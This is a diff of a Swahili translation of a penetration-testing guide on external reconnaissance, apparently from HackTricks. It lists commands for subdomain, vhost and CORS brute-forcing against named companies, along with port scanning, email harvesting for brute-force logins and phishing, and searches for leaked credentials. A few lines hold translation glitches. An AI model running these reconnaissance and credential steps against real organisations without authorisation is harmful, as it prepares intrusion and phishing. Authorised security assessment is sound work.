Ni ya kuvutia kubaini ikiwa **kampuni ina ASN yoyote iliyotolewa** ili kupata **anuwai zake za IP.** Itakuwa ya kuvutia kufanya **mtihani wa udhaifu** dhidi ya **michakato** yote ndani ya **upeo** na **kutafuta domaini** ndani ya anuwai hizi za IP.\
 | 
			
		||||
Unaweza **kutafuta** kwa jina la kampuni, kwa **IP** au kwa **domain** katika [**https://bgp.he.net/**](https://bgp.he.net)**.**\
 | 
			
		||||
**Kulingana na eneo la kampuni, viungo hivi vinaweza kuwa na manufaa kukusanya data zaidi:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Amerika Kaskazini),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(Amerika ya Kusini),** [**RIPE NCC**](https://www.ripe.net) **(Ulaya). Hata hivyo, labda taarifa zote** muhimu **(anuwai za IP na Whois)** tayari zinaonekana katika kiungo cha kwanza.
 | 
			
		||||
```bash
 | 
			
		||||
@ -34,7 +34,7 @@ Unaweza **kutafuta** kwa jina la kampuni, kwa **IP** au kwa **domain** katika [*
 | 
			
		||||
amass intel -org tesla
 | 
			
		||||
amass intel -asn 8911,50313,394161
 | 
			
		||||
```
 | 
			
		||||
Pia, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** uchambuzi wa subdomain unakusanya na kujumlisha ASNs mwishoni mwa skana.
 | 
			
		||||
Pia, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** uchambuzi wa subdomain unakusanya na kujumlisha ASNs kiotomatiki mwishoni mwa uchunguzi.
 | 
			
		||||
```bash
 | 
			
		||||
bbot -t tesla.com -f subdomain-enum
 | 
			
		||||
...
 | 
			
		||||
@ -70,7 +70,7 @@ Kwanza kabisa unapaswa kutafuta **kikoa kikuu**(s) cha kila kampuni. Kwa mfano,
 | 
			
		||||
 | 
			
		||||
### **Reverse DNS**
 | 
			
		||||
 | 
			
		||||
Kama umepata anuwai zote za IP za majina ya kikoa unaweza kujaribu kufanya **reverse dns lookups** kwenye hizo **IPs ili kupata majina mengine ya kikoa ndani ya upeo**. Jaribu kutumia baadhi ya seva za dns za mwathirika au seva maarufu za dns (1.1.1.1, 8.8.8.8)
 | 
			
		||||
Kama umepata anuwai zote za IP za majina ya kikoa unaweza kujaribu kufanya **reverse dns lookups** kwenye hizo **IPs ili kupata majina mengine ya kikoa ndani ya upeo**. Jaribu kutumia seva ya dns ya mwathirika au seva maarufu ya dns (1.1.1.1, 8.8.8.8)
 | 
			
		||||
```bash
 | 
			
		||||
dnsrecon -r <DNS Range> -n <IP_DNS>   #DNS reverse of all of the addresses
 | 
			
		||||
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
 | 
			
		||||
@ -94,7 +94,7 @@ Unaweza kutumia zana za mtandaoni kama:
 | 
			
		||||
- [https://www.domainiq.com/](https://www.domainiq.com) - Si Bure
 | 
			
		||||
 | 
			
		||||
Unaweza kuendesha kazi hii kwa kutumia [**DomLink** ](https://github.com/vysecurity/DomLink)(inahitaji funguo ya API ya whoxy).\
 | 
			
		||||
Unaweza pia kutekeleza ugunduzi wa moja kwa moja wa reverse whois kwa kutumia [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
 | 
			
		||||
Unaweza pia kufanya ugunduzi wa moja kwa moja wa reverse whois kwa kutumia [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
 | 
			
		||||
 | 
			
		||||
**Kumbuka kwamba unaweza kutumia mbinu hii kugundua majina zaidi ya kikoa kila wakati unapata kikoa kipya.**
 | 
			
		||||
 | 
			
		||||
@ -120,7 +120,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
 | 
			
		||||
```
 | 
			
		||||

 | 
			
		||||
 | 
			
		||||
Kwa ufupi, favihash itaturuhusu kugundua maeneo ambayo yana hash sawa ya favicon icon kama lengo letu.
 | 
			
		||||
Kwa kifupi, favihash itaturuhusu kugundua maeneo ambayo yana hash sawa ya favicon icon kama lengo letu.
 | 
			
		||||
 | 
			
		||||
Zaidi ya hayo, unaweza pia kutafuta teknolojia ukitumia hash ya favicon kama ilivyoelezwa katika [**hiki kipande cha blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Hii inamaanisha kwamba ikiwa unajua **hash ya favicon ya toleo lenye udhaifu la teknolojia ya wavuti** unaweza kutafuta katika shodan na **kupata maeneo mengine yenye udhaifu**:
 | 
			
		||||
```bash
 | 
			
		||||
@ -258,7 +258,7 @@ Kuna **zana/APIs nyingine za kuvutia** ambazo hata kama hazijabobea moja kwa moj
 | 
			
		||||
## This is the API the crobat tool will use
 | 
			
		||||
curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]"
 | 
			
		||||
```
 | 
			
		||||
- [**JLDC free API**](https://jldc.me/anubis/subdomains/google.com)
 | 
			
		||||
- [**JLDC bure API**](https://jldc.me/anubis/subdomains/google.com)
 | 
			
		||||
```bash
 | 
			
		||||
curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]"
 | 
			
		||||
```
 | 
			
		||||
@ -317,13 +317,13 @@ python3 DomainTrail.py -d example.com
 | 
			
		||||
 | 
			
		||||
Mradi huu unatoa **bure subdomains zote zinazohusiana na programu za bug-bounty**. Unaweza kufikia data hii pia kwa kutumia [chaospy](https://github.com/dr-0x0x/chaospy) au hata kufikia upeo uliofanywa na mradi huu [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
 | 
			
		||||
 | 
			
		||||
Unaweza kupata **kulinganisha** ya zana nyingi hizi hapa: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
 | 
			
		||||
Unaweza kupata **kulinganisha** ya zana nyingi hapa: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
 | 
			
		||||
 | 
			
		||||
### **DNS Brute force**
 | 
			
		||||
 | 
			
		||||
Hebu jaribu kutafuta **subdomains** mpya kwa kulazimisha DNS servers kwa kutumia majina ya subdomain yanayowezekana.
 | 
			
		||||
Hebu jaribu kutafuta **subdomains** mpya kwa kutumia brute-forcing DNS servers kwa kutumia majina ya subdomain yanayowezekana.
 | 
			
		||||
 | 
			
		||||
Kwa hatua hii utahitaji baadhi ya **orodha za maneno ya subdomains za kawaida kama**:
 | 
			
		||||
Kwa hatua hii utahitaji baadhi ya **wordlists za kawaida za subdomains kama**:
 | 
			
		||||
 | 
			
		||||
- [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
 | 
			
		||||
- [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
 | 
			
		||||
@ -331,7 +331,7 @@ Kwa hatua hii utahitaji baadhi ya **orodha za maneno ya subdomains za kawaida ka
 | 
			
		||||
- [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
 | 
			
		||||
- [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
 | 
			
		||||
 | 
			
		||||
Na pia IP za resolvers nzuri za DNS. Ili kuunda orodha ya resolvers wa DNS wanaoaminika unaweza kupakua resolvers kutoka [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) na kutumia [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) kuwasafisha. Au unaweza kutumia: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
 | 
			
		||||
Na pia IP za resolvers nzuri za DNS. Ili kuunda orodha ya resolvers wa DNS waliotegemewa unaweza kupakua resolvers kutoka [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) na kutumia [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) kuzipunguza. Au unaweza kutumia: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
 | 
			
		||||
 | 
			
		||||
Zana zinazopendekezwa zaidi kwa DNS brute-force ni:
 | 
			
		||||
 | 
			
		||||
@ -365,8 +365,8 @@ Baada ya kupata subdomains kwa kutumia vyanzo vya wazi na brute-forcing, unaweza
 | 
			
		||||
```bash
 | 
			
		||||
cat subdomains.txt | dnsgen -
 | 
			
		||||
```
 | 
			
		||||
- [**goaltdns**](https://github.com/subfinder/goaltdns): Imepewa maeneo na subdomains tengeneza permutations.
 | 
			
		||||
- Unaweza kupata permutations za goaltdns **wordlist** **hapa** [**here**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
 | 
			
		||||
- [**goaltdns**](https://github.com/subfinder/goaltdns): Imepewa maeneo na subdomains, tengeneza permutations.
 | 
			
		||||
- Unaweza kupata permutations za goaltdns **wordlist** [**hapa**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
 | 
			
		||||
```bash
 | 
			
		||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
 | 
			
		||||
```
 | 
			
		||||
@ -385,7 +385,7 @@ altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
 | 
			
		||||
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
 | 
			
		||||
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
 | 
			
		||||
```
 | 
			
		||||
- [**alterx**](https://github.com/projectdiscovery/alterx)**:** Kulingana na kikoa, in **zalisha majina mapya ya subdomain** kulingana na mifumo iliyoonyeshwa ili kujaribu kugundua subdomain zaidi.
 | 
			
		||||
- [**alterx**](https://github.com/projectdiscovery/alterx)**:** Kulingana na domain, in **zalisha majina mapya ya subdomain** kulingana na mifumo iliyoonyeshwa ili kujaribu kugundua subdomain zaidi.
 | 
			
		||||
 | 
			
		||||
#### Uzalishaji wa permutations smart
 | 
			
		||||
 | 
			
		||||
@ -395,7 +395,7 @@ python3 main.py adobe.com adobe adobe.rules
 | 
			
		||||
make_brute_list.sh adobe.rules adobe.brute
 | 
			
		||||
puredns resolve adobe.brute --write adobe.valid
 | 
			
		||||
```
 | 
			
		||||
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ni fuzzer ya brute-force ya subdomain iliyo na algorithimu rahisi lakini yenye ufanisi inayotegemea majibu ya DNS. Inatumia seti ya data za ingizo zilizotolewa, kama vile orodha ya maneno iliyoundwa maalum au rekodi za kihistoria za DNS/TLS, ili kuunda kwa usahihi majina mengine yanayohusiana ya domain na kuyapanua zaidi katika mzunguko kulingana na taarifa zilizokusanywa wakati wa skana ya DNS.
 | 
			
		||||
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ni fuzzer ya brute-force ya subdomain iliyo na algorithimu rahisi lakini yenye ufanisi inayotegemea majibu ya DNS. Inatumia seti ya data za ingizo zilizotolewa, kama vile orodha ya maneno iliyobinafsishwa au rekodi za kihistoria za DNS/TLS, ili kuunda kwa usahihi majina mengine yanayohusiana ya domain na kuyapanua zaidi katika mzunguko kulingana na taarifa zilizokusanywa wakati wa skana ya DNS.
 | 
			
		||||
```
 | 
			
		||||
echo www | subzuf facebook.com
 | 
			
		||||
```
 | 
			
		||||
@ -411,9 +411,9 @@ https://trickest.com/blog/full-subdomain-discovery-using-workflow/
 | 
			
		||||
https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
### **VHosts / Makaribisho ya Kijamii**
 | 
			
		||||
### **VHosts / Makaratasi ya Kijamii**
 | 
			
		||||
 | 
			
		||||
Ikiwa umepata anwani ya IP inayojumuisha **ukurasa mmoja au kadhaa wa wavuti** zinazomilikiwa na subdomains, unaweza kujaribu **kutafuta subdomains nyingine zikiwa na wavuti katika IP hiyo** kwa kutafuta katika **vyanzo vya OSINT** kwa domains katika IP au kwa **kujaribu nguvu za VHost majina ya domain katika IP hiyo**.
 | 
			
		||||
Ikiwa umepata anwani ya IP inayojumuisha **ukurasa mmoja au kadhaa wa wavuti** zinazomilikiwa na subdomains, unaweza kujaribu **kutafuta subdomains nyingine zikiwa na wavuti katika IP hiyo** kwa kutafuta katika **vyanzo vya OSINT** kwa domains katika IP au kwa **kujaribu nguvu majina ya domain ya VHost katika IP hiyo**.
 | 
			
		||||
 | 
			
		||||
#### OSINT
 | 
			
		||||
 | 
			
		||||
@ -421,7 +421,7 @@ Unaweza kupata baadhi ya **VHosts katika IPs kwa kutumia** [**HostHunter**](http
 | 
			
		||||
 | 
			
		||||
**Brute Force**
 | 
			
		||||
 | 
			
		||||
Ikiwa unashuku kwamba subdomain fulani inaweza kufichwa katika seva ya wavuti unaweza kujaribu kujaribu nguvu:
 | 
			
		||||
Ikiwa unashuku kuwa subdomain fulani inaweza kufichwa katika seva ya wavuti unaweza kujaribu kujaribu nguvu:
 | 
			
		||||
```bash
 | 
			
		||||
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
 | 
			
		||||
 | 
			
		||||
@ -436,29 +436,29 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
 | 
			
		||||
VHostScan -t example.com
 | 
			
		||||
```
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> Kwa kutumia mbinu hii unaweza hata kufikia mwisho wa ndani/uliokithiri.
 | 
			
		||||
> Kwa kutumia mbinu hii unaweza hata kufikia mwisho wa ndani/uliok escondido.
 | 
			
		||||
 | 
			
		||||
### **CORS Brute Force**
 | 
			
		||||
 | 
			
		||||
Wakati mwingine utaona kurasa ambazo hurudisha tu kichwa _**Access-Control-Allow-Origin**_ wakati jina halali la kikoa/subdomain limewekwa katika kichwa _**Origin**_. Katika hali hizi, unaweza kutumia tabia hii kubaini **subdomains** mpya.
 | 
			
		||||
Wakati mwingine utaona kurasa ambazo hurudisha tu kichwa _**Access-Control-Allow-Origin**_ wakati jina halali la kikoa/subdomain limewekwa katika kichwa _**Origin**_. Katika hali hizi, unaweza kutumia tabia hii vibaya ili **kuvumbua** **subdomains** mpya.
 | 
			
		||||
```bash
 | 
			
		||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
 | 
			
		||||
```
 | 
			
		||||
### **Buckets Brute Force**
 | 
			
		||||
 | 
			
		||||
Wakati unatafuta **subdomains** angalia kama in **elekeza** kwenye aina yoyote ya **bucket**, na katika hali hiyo [**angalia ruhusa**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
 | 
			
		||||
Pia, kwa kuwa katika hatua hii utajua majina yote ya domain ndani ya upeo, jaribu [**kujaribu majina ya bucket yanayowezekana na kuangalia ruhusa**](../../network-services-pentesting/pentesting-web/buckets/).
 | 
			
		||||
Wakati unatafuta **subdomains** angalia kama in **elekeza** kwenye aina yoyote ya **bucket**, na katika hali hiyo [**angalia ruhusa**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\
 | 
			
		||||
Pia, kwa kuwa katika hatua hii utajua majina yote ya domain ndani ya upeo, jaribu [**kujaribu majina ya bucket yanayowezekana na kuangalia ruhusa**](../../network-services-pentesting/pentesting-web/buckets/index.html).
 | 
			
		||||
 | 
			
		||||
### **Monitorization**
 | 
			
		||||
 | 
			
		||||
Unaweza **kufuatilia** ikiwa **subdomains mpya** za domain zinaundwa kwa kufuatilia **Maktaba ya Uwazi wa Cheti** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)inafanya.
 | 
			
		||||
Unaweza **kufuatilia** kama **subdomains mpya** za domain zinaundwa kwa kufuatilia **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)inafanya.
 | 
			
		||||
 | 
			
		||||
### **Looking for vulnerabilities**
 | 
			
		||||
 | 
			
		||||
Angalia uwezekano wa [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
 | 
			
		||||
Ikiwa **subdomain** inaelekeza kwenye **S3 bucket**, [**angalia ruhusa**](../../network-services-pentesting/pentesting-web/buckets/).
 | 
			
		||||
Ikiwa **subdomain** inaelekeza kwenye **S3 bucket**, [**angalia ruhusa**](../../network-services-pentesting/pentesting-web/buckets/index.html).
 | 
			
		||||
 | 
			
		||||
Ikiwa utapata **subdomain yenye IP tofauti** na zile ulizozipata tayari katika ugunduzi wa mali, unapaswa kufanya **skani ya msingi ya udhaifu** (ukitumia Nessus au OpenVAS) na baadhi ya [**skani za bandari**](../pentesting-network/index.html#discovering-hosts-from-the-outside) kwa kutumia **nmap/masscan/shodan**. Kulingana na huduma zipi zinazoendesha unaweza kupata katika **kitabu hiki hila za "kushambulia" hizo**.\
 | 
			
		||||
Ikiwa unapata **subdomain yenye IP tofauti** na zile ulizozipata tayari katika ugunduzi wa mali, unapaswa kufanya **skani ya msingi ya udhaifu** (ukitumia Nessus au OpenVAS) na baadhi ya [**skani ya port**](../pentesting-network/index.html#discovering-hosts-from-the-outside) kwa kutumia **nmap/masscan/shodan**. Kulingana na huduma zinazotumika unaweza kupata katika **kitabu hiki hila za "kushambulia" hizo**.\
 | 
			
		||||
&#xNAN;_Note kwamba wakati mwingine subdomain inahostiwa ndani ya IP ambayo haidhibitiwi na mteja, hivyo si katika upeo, kuwa makini._
 | 
			
		||||
 | 
			
		||||
## IPs
 | 
			
		||||
@ -466,7 +466,7 @@ Ikiwa utapata **subdomain yenye IP tofauti** na zile ulizozipata tayari katika u
 | 
			
		||||
Katika hatua za awali huenda umekuwa **ukipata baadhi ya anuwai za IP, majina ya domain na subdomains**.\
 | 
			
		||||
Ni wakati wa **kukusanya IP zote kutoka kwa anuwai hizo** na kwa **majina ya domain/subdomains (maswali ya DNS).**
 | 
			
		||||
 | 
			
		||||
Kwa kutumia huduma kutoka **apis za bure** zifuatazo unaweza pia kupata **IPs za awali zilizotumiwa na majina ya domain na subdomains**. IP hizi zinaweza bado kumilikiwa na mteja (na zinaweza kukuruhusu kupata [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
 | 
			
		||||
Kwa kutumia huduma kutoka **apis za bure** zifuatazo unaweza pia kupata **IPs za awali zilizotumika na majina ya domain na subdomains**. IP hizi zinaweza bado kumilikiwa na mteja (na zinaweza kukuruhusu kupata [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
 | 
			
		||||
 | 
			
		||||
- [**https://securitytrails.com/**](https://securitytrails.com/)
 | 
			
		||||
 | 
			
		||||
@ -474,37 +474,37 @@ Unaweza pia kuangalia majina ya domain yanayoelekeza kwenye anwani maalum ya IP
 | 
			
		||||
 | 
			
		||||
### **Looking for vulnerabilities**
 | 
			
		||||
 | 
			
		||||
**Skani bandari zote za IP ambazo hazihusiani na CDNs** (kwa kuwa huenda usipate kitu chochote cha kuvutia huko). Katika huduma zinazokimbia zilizogunduliwa unaweza kuwa **na uwezo wa kupata udhaifu**.
 | 
			
		||||
**Skani port zote za IP ambazo hazihusiani na CDNs** (kwa kuwa huenda usipate kitu chochote cha kuvutia huko). Katika huduma zinazotumika zilizogunduliwa unaweza kuwa **na uwezo wa kupata udhaifu**.
 | 
			
		||||
 | 
			
		||||
**Pata** [**mwongozo**](../pentesting-network/) **kuhusu jinsi ya skani wenyeji.**
 | 
			
		||||
**Pata** [**mwongozo**](../pentesting-network/index.html) **kuhusu jinsi ya skani hosts.**
 | 
			
		||||
 | 
			
		||||
## Web servers hunting
 | 
			
		||||
 | 
			
		||||
> Tumepata kampuni zote na mali zao na tunajua anuwai za IP, majina ya domain na subdomains ndani ya upeo. Ni wakati wa kutafuta seva za wavuti.
 | 
			
		||||
> Tumegundua kampuni zote na mali zao na tunajua anuwai za IP, majina ya domain na subdomains ndani ya upeo. Ni wakati wa kutafuta seva za wavuti.
 | 
			
		||||
 | 
			
		||||
Katika hatua za awali huenda tayari umekuwa umefanya baadhi ya **recon ya IPs na majina ya domain yaliyogunduliwa**, hivyo huenda umekuwa **umepata seva zote zinazowezekana za wavuti**. Hata hivyo, ikiwa hujapata sasa tunaenda kuona baadhi ya **hila za haraka za kutafuta seva za wavuti** ndani ya upeo.
 | 
			
		||||
Katika hatua za awali huenda tayari umekuwa umefanya baadhi ya **recon ya IPs na majina ya domain yaliyogunduliwa**, hivyo huenda umekuwa **umepata seva zote zinazowezekana za wavuti**. Hata hivyo, ikiwa hujapata tutaanza kuona baadhi ya **hila za haraka za kutafuta seva za wavuti** ndani ya upeo.
 | 
			
		||||
 | 
			
		||||
Tafadhali, kumbuka kwamba hii itakuwa **imeelekezwa kwa ugunduzi wa programu za wavuti**, hivyo unapaswa **kufanya udhaifu** na **skani za bandari** pia (**ikiwa inaruhusiwa** na upeo).
 | 
			
		||||
Tafadhali, kumbuka kwamba hii itakuwa **imeelekezwa kwa ugunduzi wa programu za wavuti**, hivyo unapaswa **kufanya udhaifu** na **skani ya port** pia (**ikiwa inaruhusiwa** na upeo).
 | 
			
		||||
 | 
			
		||||
Njia **ya haraka** ya kugundua **bandari wazi** zinazohusiana na **seva** za wavuti kwa kutumia [**masscan** inaweza kupatikana hapa](../pentesting-network/index.html#http-port-discovery).\
 | 
			
		||||
Chombo kingine rafiki cha kutafuta seva za wavuti ni [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) na [**httpx**](https://github.com/projectdiscovery/httpx). Unapita tu orodha ya majina ya domain na itajaribu kuungana na bandari 80 (http) na 443 (https). Zaidi ya hayo, unaweza kuonyesha kujaribu bandari nyingine:
 | 
			
		||||
Njia **ya haraka** ya kugundua **port wazi** zinazohusiana na **seva** za wavuti kwa kutumia [**masscan** inaweza kupatikana hapa](../pentesting-network/index.html#http-port-discovery).\
 | 
			
		||||
Chombo kingine rafiki cha kutafuta seva za wavuti ni [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) na [**httpx**](https://github.com/projectdiscovery/httpx). Unapita tu orodha ya majina ya domain na itajaribu kuungana na port 80 (http) na 443 (https). Zaidi ya hayo, unaweza kuonyesha kujaribu port nyingine:
 | 
			
		||||
```bash
 | 
			
		||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
 | 
			
		||||
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
 | 
			
		||||
```
 | 
			
		||||
### **Mifano**
 | 
			
		||||
 | 
			
		||||
Sasa kwamba umepata **seva zote za wavuti** zilizopo katika upeo (katika **IPs** za kampuni na **domeni** zote na **subdomeni**) huenda **hujui wapi pa kuanzia**. Hivyo, hebu iwe rahisi na tuanze kwa kuchukua mifano ya skrini ya zote. Kwa **kuangalia tu** kwenye **ukurasa mkuu** unaweza kupata **nukta** za mwisho ambazo zinaweza kuwa **na hatari** zaidi.
 | 
			
		||||
Sasa kwamba umepata **seva zote za wavuti** zilizopo katika upeo (katika **IPs** za kampuni na **domeni** zote na **subdomeni**) huenda **hujui wapi pa kuanzia**. Hivyo, hebu iwe rahisi na tuanze kwa kuchukua mifano ya skrini ya zote. Kwa **kuangalia tu** kwenye **ukurasa mkuu** unaweza kupata **nukta** za mwisho ambazo zinaweza kuwa **na udhaifu** zaidi.
 | 
			
		||||
 | 
			
		||||
Ili kutekeleza wazo lililopendekezwa unaweza kutumia [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) au [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
 | 
			
		||||
 | 
			
		||||
Zaidi ya hayo, unaweza kutumia [**eyeballer**](https://github.com/BishopFox/eyeballer) kukagua zote **mifano ya skrini** ili kukwambia **nini kinaweza kuwa na hatari**, na nini hakina.
 | 
			
		||||
Zaidi ya hayo, unaweza kutumia [**eyeballer**](https://github.com/BishopFox/eyeballer) kukagua **mifano ya skrini** zote ili kukuambia **nini kinaweza kuwa na udhaifu**, na nini hakina.
 | 
			
		||||
 | 
			
		||||
## Mali za Umma za Wingu
 | 
			
		||||
 | 
			
		||||
Ili kupata mali za wingu zinazoweza kuwa za kampuni unapaswa **kuanza na orodha ya maneno muhimu yanayofafanua kampuni hiyo**. Kwa mfano, kwa kampuni ya crypto unaweza kutumia maneno kama: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
 | 
			
		||||
 | 
			
		||||
Utahitaji pia orodha za maneno za **maneno ya kawaida yanayotumika katika ndoo**:
 | 
			
		||||
Utahitaji pia orodha za maneno ya **maneno ya kawaida yanayotumika katika makundi**:
 | 
			
		||||
 | 
			
		||||
- [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
 | 
			
		||||
- [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
 | 
			
		||||
@ -514,11 +514,11 @@ Kisha, kwa maneno hayo unapaswa kuunda **mabadiliko** (angalia [**Second Round D
 | 
			
		||||
 | 
			
		||||
Kwa orodha za maneno zilizopatikana unaweza kutumia zana kama [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **au** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
 | 
			
		||||
 | 
			
		||||
Kumbuka kwamba unapoitafuta Mali za Wingu unapaswa **kuangalia zaidi ya ndoo tu katika AWS**.
 | 
			
		||||
Kumbuka kwamba unapoitafuta Mali za Wingu unapaswa **kuangalia zaidi ya makundi tu katika AWS**.
 | 
			
		||||
 | 
			
		||||
### **Kuangalia hatari**
 | 
			
		||||
### **Kuangalia udhaifu**
 | 
			
		||||
 | 
			
		||||
Ikiwa unapata vitu kama **ndoo wazi au kazi za wingu zilizofichuliwa** unapaswa **kuziingilia** na kujaribu kuona kile wanachokupa na ikiwa unaweza kuzitumia vibaya.
 | 
			
		||||
Ikiwa unapata vitu kama **makundi ya wazi au kazi za wingu zilizofichuliwa** unapaswa **kuziingilia** na kujaribu kuona kile wanachokupa na ikiwa unaweza kuzitumia vibaya.
 | 
			
		||||
 | 
			
		||||
## Barua pepe
 | 
			
		||||
 | 
			
		||||
@ -529,29 +529,29 @@ Pamoja na **domeni** na **subdomeni** ndani ya upeo unayo kila kitu unachohitaji
 | 
			
		||||
- API ya [**https://app.snov.io/**](https://app.snov.io/) (toleo la bure)
 | 
			
		||||
- API ya [**https://minelead.io/**](https://minelead.io/) (toleo la bure)
 | 
			
		||||
 | 
			
		||||
### **Kuangalia hatari**
 | 
			
		||||
### **Kuangalia udhaifu**
 | 
			
		||||
 | 
			
		||||
Barua pepe zitakuwa na manufaa baadaye kwa **kujaribu kuingia kwenye wavuti na huduma za uthibitishaji** (kama SSH). Pia, zinahitajika kwa **phishings**. Zaidi ya hayo, hizi APIs zitakupa hata zaidi **habari kuhusu mtu** nyuma ya barua pepe, ambayo ni muhimu kwa kampeni ya phishing.
 | 
			
		||||
Barua pepe zitakuwa na manufaa baadaye kwa **kujaribu nguvu kuingia kwenye wavuti na huduma za uthibitishaji** (kama SSH). Pia, zinahitajika kwa **phishings**. Zaidi ya hayo, hizi APIs zitakupa hata zaidi **habari kuhusu mtu** nyuma ya barua pepe, ambayo ni muhimu kwa kampeni ya phishing.
 | 
			
		||||
 | 
			
		||||
## Mvuvi wa Akida
 | 
			
		||||
## Mvuja wa Akida
 | 
			
		||||
 | 
			
		||||
Pamoja na **domeni,** **subdomeni**, na **barua pepe** unaweza kuanza kutafuta akida zilizovuja katika siku za nyuma zinazohusiana na hizo barua pepe:
 | 
			
		||||
 | 
			
		||||
- [https://leak-lookup.com](https://leak-lookup.com/account/login)
 | 
			
		||||
- [https://www.dehashed.com/](https://www.dehashed.com/)
 | 
			
		||||
 | 
			
		||||
### **Kuangalia hatari**
 | 
			
		||||
### **Kuangalia udhaifu**
 | 
			
		||||
 | 
			
		||||
Ikiwa unapata **akida zilizovuja** halali, hii ni ushindi rahisi sana.
 | 
			
		||||
 | 
			
		||||
## Mvuvi wa Siri
 | 
			
		||||
## Mvuja wa Siri
 | 
			
		||||
 | 
			
		||||
Mvuvi wa akida unahusiana na uvunjaji wa kampuni ambapo **habari nyeti ilivuja na kuuzwa**. Hata hivyo, kampuni zinaweza kuathiriwa na **mvuvi mwingine** ambao habari zake haziko katika hizo databasi:
 | 
			
		||||
Mvuja wa akida unahusiana na uvunjaji wa kampuni ambapo **habari nyeti ilivuja na kuuzwa**. Hata hivyo, kampuni zinaweza kuathiriwa na **mvuja nyingine** ambazo habari zake haziko katika hizo databasi:
 | 
			
		||||
 | 
			
		||||
### Mvuvi wa Github
 | 
			
		||||
### Mvuja wa Github
 | 
			
		||||
 | 
			
		||||
Akida na APIs zinaweza kuvuja katika **hifadhi za umma** za **kampuni** au za **watumiaji** wanaofanya kazi kwa kampuni hiyo ya github.\
 | 
			
		||||
